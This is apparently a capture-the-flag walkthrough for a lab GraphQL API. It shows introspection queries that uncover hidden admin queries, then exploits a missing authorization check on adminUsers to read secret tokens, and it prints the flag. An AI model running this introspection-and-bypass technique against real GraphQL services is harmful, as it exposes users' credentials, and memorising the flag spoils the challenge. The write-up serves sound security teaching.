This company's modern GraphQL API promises flexible data access and powerful querying capabilities for their internal systems. 🔍 But with great power comes great responsibility - and their developers might have left a few doors unlocked. 💡 Dive deep into schema introspection, discover hidden queries, and exploit authorization flaws to uncover sensitive information that should never see the light of day! 🕵️
Navigate to in your browser to access the interactive GraphiQL interface. This provides a user-friendly environment for exploring the GraphQL API and crafting queries.
Start with basic schema introspection to discover the publicly available queries:
query BasicIntrospection {
__schema {
queryType {
fields {
name
description
}
}
}
}This reveals only 4 public queries: users, user, projects, and project. No administrative functions are visible yet.
The key breakthrough comes from using deep type introspection to examine the Query type directly:
query DeepIntrospection {
__type(name: "Query") {
fields {
name
description
args {
name
type { name }
}
}
}
}This deeper introspection reveals 7 total queries including 3 hidden administrative functions:
| Query | Type | Description |
|---|---|---|
| users | Public | Get users with optional role filter |
| user | Public | Get single user by ID or username |
| projects | Public | Get projects with optional status filter |
| project | Public | Get single project by ID |
| adminUsers | Hidden Admin | Administrative query to get all users |
| classifiedProjects | Hidden Admin | Administrative query to get classified projects |
| userSecrets | Hidden Admin | Administrative query to get user secrets |
First, test the regular users query to confirm it properly filters administrative users:
query {
users {
id
username
role
secret_token
}
}This returns only regular employees and contractors, properly excluding system administrators.
Try to access admin users through the regular query with role filtering:
query {
users(role: "admin") {
id
username
role
secret_token
}
}This correctly returns an empty array, confirming that the regular users query properly filters out administrative accounts.
Now exploit the main vulnerability - the adminUsers query lacks proper authorization checks. Use this query to bypass all access controls:
query {
adminUsers {
id
username
role
secret_token
}
}This unauthorized query returns all users in the system, including the system administrator account with role "system" that contains the flag in the secret_token field.
From the adminUsers query results, locate the user with role "system" (typically the last user in the list). The flag is stored in their secret_token field:
| Field | Value | Description |
|---|---|---|
| username | system_admin | System administrator account |
| role | system | Administrative role |
| secret_token | 1d25cb65-383f-4a56-bfe0-778f912a43fd | 🎯 This is the flag! |
You could also discover the flag through other vulnerable queries exposed by introspection:
# Method 1: Direct admin query (primary method)
query { adminUsers { username role secret_token } }
# Method 2: User secrets query (if you know the admin user ID)
query { userSecrets(user_id: 5) }
# Method 3: Classified projects with nested user data
query { classifiedProjects { owner { secret_token } } }adminUsers query lacks proper access controlsecret_token are exposed without proper filteringEnter your email to continue
Choose a username to get started
We've sent a 9-character code to your email